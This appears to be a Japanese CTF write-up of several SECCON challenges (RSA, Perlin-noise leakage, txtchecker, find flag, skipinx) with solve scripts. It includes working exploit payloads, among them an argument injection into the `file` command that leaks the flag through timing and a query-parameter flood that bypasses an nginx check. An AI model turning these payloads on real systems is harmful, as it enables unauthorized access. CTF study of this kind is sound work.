n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

p = int(gcd(c1 + c2, n))
q = int(gcd(c1 - c2, n))
r = n // p // q

phi = p - 1
k = 3
lamb = phi // 4
L = pow(k, lamb, p)
dp = int(pow(e, -1, lamb))
cp = cm % p
mp = [pow(cp, dp, p) * pow(L, i, p) % p for i in range(4)]

phi = q - 1
k = 5
lamb = phi // 8
L = pow(k, lamb, q)
dq = int(pow(e, -1, lamb))
cq = cm % q
mq = [pow(cq, dq, q) * pow(L, i, q) % q for i in range(8)]

phi = r - 1
k = 5
lamb = phi // 4
L = pow(k, lamb, r)
dr = int(pow(e, -1, lamb))
cr = cm % r
mr = [pow(cr, dr, r) * pow(L, i, r) % r for i in range(4)]

for _mp in mp:
    for _mq in mq:
        for _mr in mr:
            flag = long_to_bytes(int(crt([_mp, _mq, _mr], [p, q, r])))
            if b"SECCON" in flag:
                print(flag)

SECCON{being_able_to_s0lve_this_1s_great!}

misc

noiseccon

22 solves

index.js
const { noise } = require("./perlin.js");
const sharp = require("sharp");
const crypto = require("node:crypto");
const readline = require("node:readline").promises;

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const WIDTH = 256;
const HEIGHT = 256;

console.log(
  `   _   _       _             ____                           _
  | \\ | | ___ (_)___  ___   / ___| ___ _ __   ___ _ __ __ _| |_ ___  _ __
  |  \\| |/ _ \\| / __|/ _ \\ | |  _ / _ \\ '_ \\ / _ \\ '__/ _\` | __/ _ \\| '__|
  | |\\  | (_) | \\__ \\  __/ | |_| |  __/ | | |  __/ | | (_| | || (_) | |
  |_| \\_|\\___/|_|___/\\___|  \\____|\\___|_| |_|\\___|_|  \\__,_|\\__\\___/|_|
  `
);

console.log(`Flag length: ${FLAG.length}`);
console.log(`Image width: ${WIDTH}`);
console.log(`Image height: ${HEIGHT}`);

const paddedFlag = [
  ...crypto.randomBytes(8), // random prefix
  ...Buffer.from(FLAG),
  ...crypto.randomBytes(8), // random suffix
];

// bytes_to_long
let flagInt = 0n;
for (const b of Buffer.from(paddedFlag)) {
  flagInt = (flagInt << 8n) | BigInt(b);
}

const generateNoise = async (scaleX, scaleY) => {
  const div = (x, y) => {
    const p = 4;
    return Number(BigInt.asUintN(32 + p, (x * BigInt(1 << p)) / y)) / (1 << p);
  };

  const offsetX = div(flagInt, scaleX);
  const offsetY = div(flagInt, scaleY);

  noise.seed(crypto.randomInt(65536));
  const colors = [];
  for (let y = 0; y < HEIGHT; y++) {
    for (let x = 0; x < WIDTH; x++) {
      let v = noise.perlin2(offsetX + x * 0.05, offsetY + y * 0.05);
      v = (v + 1.0) * 0.5; // [-1, 1] -> [0, 1]
      colors.push((v * 256) | 0);
    }
  }

  const image = await sharp(Uint8Array.from(colors), {
    raw: {
      width: WIDTH,
      height: HEIGHT,
      channels: 1,
    },
  })
    .webp({ lossless: true })
    .toBuffer();
  return image;
};

const main = async () => {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false,
  });

  const toBigInt = (value) => {
    if (value.length > 100) {
      console.log(`Invalid value: ${value}`);
      process.exit(1);
    }
    const result = BigInt(value);
    if (result <= 0n) {
      console.log(`Invalid value: ${value}`);
      process.exit(1);
    }
    return result;
  };

  const query = async () => {
    const scaleX = toBigInt(await rl.question("Scale x: "));
    const scaleY = toBigInt(await rl.question("Scale y: "));

    const image = await generateNoise(scaleX, scaleY);
    console.log(image.toString("base64"));
  };
  await query();

  rl.close();
};

main();

パーリンノイズというものに関する問題。ソースコードを眺めていると、 perlin2 の引数の小数点以下の値によって取りうる値が変わることがわかります。さらに、この問題では div(flagInt, scaleX) などを計算するときに 1/16 の倍数の小数点以下しか現れないようになっています。これが使えそうです。例えば scaleX を $256^{29}$ (29 はフラグ長21 + padding 8) という値にすると、 div(flagInt, scaleX) の小数点以下はフラグ先頭4bitの値になります。

scaleX を div(flagInt, scaleX) の小数点が $\epsilon$ になるように定め、 scaleY を十分大きな値にし (div(flagInt, scaleY) == 0)、実際に index.js と同じようにノイズ画像を生成させたものを用意し、その image array について img[0:256:20, 0:256:20] の取りうる値を記録していきます。これらの場所では perlin2(n + \epsilon, 0) となっています。

あとは実際のフラグについてもビットをずらしていきながら画像を入手し、上で得た取りうる値 to ビットのマップを使ってビットを上位から決めていきます。

(以下のスクリプトは img[0:256:20, 0:256:20] を見るべきところを img[0:128:20, 0:128:20] と見てしまっていました…おそらくそれのせいで探索時に若干変なコードがありますが、そのまま貼ります)

solve.py
from base64 import b64decode
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
from pwn import remote


io = remote("noiseccon.seccon.games", 1337)


# これも img[0:128:20, 0:128:20] を見てしまったので間違ってるかも
sets = [{128}, {128, 135, 136, 119, 120, 127}, {128, 129, 141, 110, 143, 112, 145, 114, 126}, {128, 100, 133, 105, 110, 145, 150, 122, 155}, {128, 99, 166, 137, 109, 146, 118, 89, 156}, {160, 128, 143, 144, 79, 112, 176, 111, 95}, {128, 162, 71, 105, 140, 115, 150, 184, 93}, {128, 65, 162, 100, 134, 121, 155, 93, 190}, {96, 64, 128, 160, 192}, {128, 65, 162, 100, 134, 121, 155, 93, 190}, {128, 162, 71, 105, 140, 115, 150, 184, 93}, {128, 160, 79, 176, 112, 144, 111, 143, 95}, {128, 99, 166, 137, 109, 146, 118, 89, 156}, {128, 100, 133, 105, 110, 145, 150, 122, 155}, {128, 129, 141, 110, 143, 112, 145, 114, 126}, {128, 135, 136, 119, 120, 127}]


flag_sets = []
for i in range(21 * 8):
    io = remote("noiseccon.seccon.games", 1337)
    scale_x = 256 ** (21 + 8) // 2 ** i
    scale_y = 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    io.sendlineafter(b"Scale x", str(scale_x).encode())
    io.sendlineafter(b"Scale y", str(scale_y).encode())
    img_path = "/tmp/hoge"
    with open(img_path, "wb") as fp:
        fp.write(b64decode(io.recvline().strip()))
    io.close()
    img = Image.open(img_path)
    img = np.array(img)
    current_set = set(img[0:128:20, 0:128:20, 0].reshape(-1))  # 128 じゃなくて 256 じゃん…
    flag_sets.append(current_set)


flag_bits = "0101"
for i in range(1, 21 * 8):
    flag_set = flag_sets[i]
    if flag_set in sets:
        corres_sets = list(filter(lambda x: x == flag_set, sets))
        if len(corres_sets) == 1:
            idx = sets.index(corres_sets[0])
            if "?" in flag_bits[-3:]:
                flag_bits = flag_bits[:-3] + f"{idx:04b}"[:3]
            assert flag_bits[-3:] == f"{idx:04b}"[:3]
            flag_bits += f"{idx:04b}"[3]
        elif len(corres_sets) == 0:
            raise ValueError("そんなはずはない")
        else:
            assert len(corres_sets) == 2
            idx0 = sets.index(corres_sets[0])
            idx1 = 16 - idx0
            if "?" in flag_bits[-3:]:
                n0 = 0
                n1 = 0
                for i in range(3):
                    if flag_bits[-3+i] == f"{idx0:04b}"[i]:
                        n0 += 1
                    if flag_bits[-3+i] == f"{idx1:04b}"[i]:
                        n1 += 1
                if n0 > n1:
                    flag_bits = flag_bits[:-3] + f"{idx0:04b}"[:3]
                else:
                    flag_bits = flag_bits[:-3] + f"{idx1:04b}"[:3]
            if f"{idx0:04b}"[:3] == flag_bits[-3:]:
                flag_bits += f"{idx0:04b}"[3]
            else:
                flag_bits += f"{idx1:04b}"[3]
    else:
        print("そんな…")
        flag_bits += "?"
print(long_to_bytes(int(flag_bits[:-3], 2)))

SECCON{p3RLin_W0r1d!}

txtchecker

23 solves

checker.sh
#!/bin/bash

read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null

# TODO: print the result the above command.
#   $? == 0 -> It's a text file.
#   $? != 0 -> It's not a text file.
exit 0

入力した filepath に対して file コマンドを実行してくれますが、標準出力は grep -q に吸われて何も表示してくれません。

filepath に file のコマンド引数も指定できそうだったので何か使えそうなものはないかあれこれ探しました。チームの Qyn が -m で 0 string SECCON FLAG MATCHED とかかれたテキストファイルを指定すると、 file コマンドの結果が変わることに気づきました。 -m /dev/stdin を指定することで標準入力から 0 string SECCON FLAG MATCHED のような文字列を送れることがわかりました。これを使って ReDoS ができないかをずっと調べてたのですが、なかなか見つからず諦めかけていたところ (フラグ曰く ReDoS できるっぽいが)、再び @Qyn が filepath=-n -m /dev/stdin -f /dev/stdin とし、 0 string SECCON FLAG MATCHED 入力、 Ctrl+D、の後に flag.txt と入力してエンターを押すと、フラグと前方一致したときにのみタイムアウトするという挙動を見つけました。なんでか全然わかりませんがフラグを1文字ずつリークできることがわかったため、これを使いました。

solve.py
from pwn import context, remote
import string


context.log_level = "ERROR"

FLAG = "SECCON{reDo5L"
while True:
    for c in string.ascii_letters + string.digits + "_-!@${}":
        print(c)
        while True:
            r = process("sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no [email protected] -p 2022 -tt", shell=True)
            try:
                r.recvuntil(b"Input a file path:")
                break
            except EOFError:
                r.close()
        runString = b"-n -m /dev/stdin -f /dev/stdin\r\n"
        r.send(runString)
        r.recvuntil(runString)
        m = f"0 string {FLAG + c} FLAG MATCHED\r\n"
        r.send(m.encode())
        r.recvuntil(m.encode())
        r.send(b"\4\r\n") # control d
        r.recvuntil(b"\r\n")
        r.send(b"\4\r\n")
        r.recvuntil(b"\r\n")
        flag = b"/flag.txt\r\n"
        r.send(flag)
        r.recvuntil(flag)
        r.send(b"\r\n")
        r.recvuntil(b"\r\n")
        r.send(b"\r\n")
        r.recvuntil(b"\r\n")
        data = r.recvall()
        r.close()
        if b"Killed" in data:
            FLAG += c
            print(FLAG)
            break

SECCON{reDo5L1fe}

find flag

100 solves

server.py
#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

check = check() となっている部分で、 check() で定義されていない Error で落ちると check に False を代入する処理がスキップされ、 check は関数のままになります。このとき bool(check) は True となります。何故か exit(1) を呼んだ後に finally 以下の処理がなされてから終了する挙動をしていたため、これでフラグが読み取れます。条件を満たすエラーとして、入力を b"\x00" にしました。

SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

web

skipinx

102 solves

default.conf
server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

index.js
const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  console.log(req.query.proxy);
  console.log(req.query);
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

nginx 側で query の proxy に nginx という値が追加されます。app 側では proxy に nginx が含まれていると 400 を返すのでこれを回避する必要があります。

いろいろ試してみたがうまくいかず、半ば投げやりに ?proxy=a&proxy=a&... という query を試してみたところ、なぜか通ってしまいました。後から確認したところ、 proxy の数が1001個以上でも、 request.query.proxy は先頭1000個のみという挙動をしていました。 express 側でそういう処理をしてるんですかね。

solve.py
import requests

url = "http://localhost:8080?" + "proxy=a&" * 1001
url = url[:-1]
r = requests.get(url)
print(r.text)

SECCON{sometimes_deFault_options_are_useful_to_bypa55}

welcome

700 solves

SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

一番 first blood を取るのが難しいと言われている welcome 問。今回もだめでした。